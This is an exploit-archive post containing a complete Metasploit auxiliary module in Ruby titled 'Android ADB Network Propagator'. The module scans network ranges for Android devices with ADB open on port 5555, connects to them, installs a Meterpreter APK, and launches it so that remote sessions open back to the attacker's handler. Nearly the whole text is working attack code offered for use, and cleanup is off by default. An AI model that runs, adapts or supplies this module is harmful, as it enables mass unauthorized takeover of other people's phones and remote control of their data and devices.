Android ADB Network Propagator

==================================================================================================================================
| # Title     : Android ADB Network Propagator – Metasploit Auxiliary Module                                                     |
| # Author    : indoushka                                                                                                        |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 159.0 (64 bits)                                                   |
| # Vendor    : https://www.android.com/                                                                                         |
==================================================================================================================================

[+] Summary    : Metasploit module designed to scan network ranges for Android devices exposing ADB over TCP port 5555. 
                 It attempts to connect to discovered devices, 
                 install a Meterpreter APK payload, launch the application, and potentially establish a remote Meterpreter session.
[+] Payload    : 

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => 'Android ADB Network Propagator',
        'Description'    => %q{
          This module scans a network range for Android devices with an open ADB
          service on port 5555. For each discovered device, it attempts to connect,
          install a provided payload APK, and launch it to establish a session.
          This is a custom module inspired by the logic of a Python PoC.
        },
        'Author'         => [ 'indoushka' ],
        'License'        => MSF_LICENSE,
        'References'     => [
          [ 'URL', 'https://developer.android.com/studio/command-line/adb' ]
        ],
        'DisclosureDate' => '2026-10-31'
      )
    )

    register_options(
      [
        Opt::RPORT(5555),
        OptPath.new('PAYLOAD_APK', [ true, 'Path to the Meterpreter APK payload to install' ]),
        OptInt.new('TIMEOUT', [ true, 'Timeout for ADB commands', 30 ]),
        OptBool.new('CLEANUP', [ true, 'Uninstall the payload after execution', false ])
      ]
    )
  end

  def run_host(ip)
    print_status("Scanning #{ip}:#{datastore['RPORT']} for open ADB...")

    begin
      sock = Rex::Socket::Tcp.create(
        'PeerHost' => ip,
        'PeerPort' => datastore['RPORT'],
        'Timeout'  => 5
      )
      sock.close
    rescue Rex::ConnectionError
      vprint_error("#{ip}:#{datastore['RPORT']} - ADB port closed or unreachable")
      return
    end
    print_good("#{ip} - Open ADB port detected!")

    unless system('which adb > /dev/null 2>&1')
      print_error('The "adb" command was not found in PATH. Please install Android SDK Platform Tools.')
      return
    end

    adb_target = "#{ip}:#{datastore['RPORT']}"
    print_status("Connecting to #{adb_target} via ADB...")
    connect_output = `adb connect #{adb_target} 2>&1`
    
    unless connect_output.include?('connected') || connect_output.include?('already')
      print_error("Failed to connect to #{adb_target}: #{connect_output.strip}")
      return
    end
    print_good("Successfully connected to #{adb_target}")

    device_state = `adb -s #{adb_target} get-state 2>&1`.strip
    unless device_state == 'device'
      print_error("Device #{adb_target} is not in a usable state (state: #{device_state})")
      return
    end

    payload_path = datastore['PAYLOAD_APK']
    unless File.exist?(payload_path)
      print_error("Payload APK not found at: #{payload_path}")
      return
    end

    print_status("Installing payload APK on #{adb_target}...")
    install_output = `adb -s #{adb_target} install -r "#{payload_path}" 2>&1`
    
    unless install_output.include?('Success')
      print_error("Failed to install APK: #{install_output.strip}")
      return
    end
    print_good("Payload APK installed successfully on #{ip}")

    package_name = 'com.metasploit.stage'
    
    print_status("Launching payload on #{adb_target}...")
    launch_output = `adb -s #{adb_target} shell am start -n #{package_name}/MainActivity 2>&1`
    
    if launch_output.include?('Error') || launch_output.include?('Exception')
      print_warning("Launch command returned: #{launch_output.strip}")
      print_status('The payload may still be running. Check your Metasploit handler.')
    else
      print_good("Payload launched on #{ip}. Check your multi/handler for a session.")
    end

    if datastore['CLEANUP']
      print_status("Uninstalling payload from #{adb_target}...")
      `adb -s #{adb_target} uninstall #{package_name}`
    end

    report_note(
      host: ip,
      port: datastore['RPORT'],
      proto: 'tcp',
      type: 'android.adb_exposed',
      data: { device_state: device_state, payload_installed: true }
    )
  end
end

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================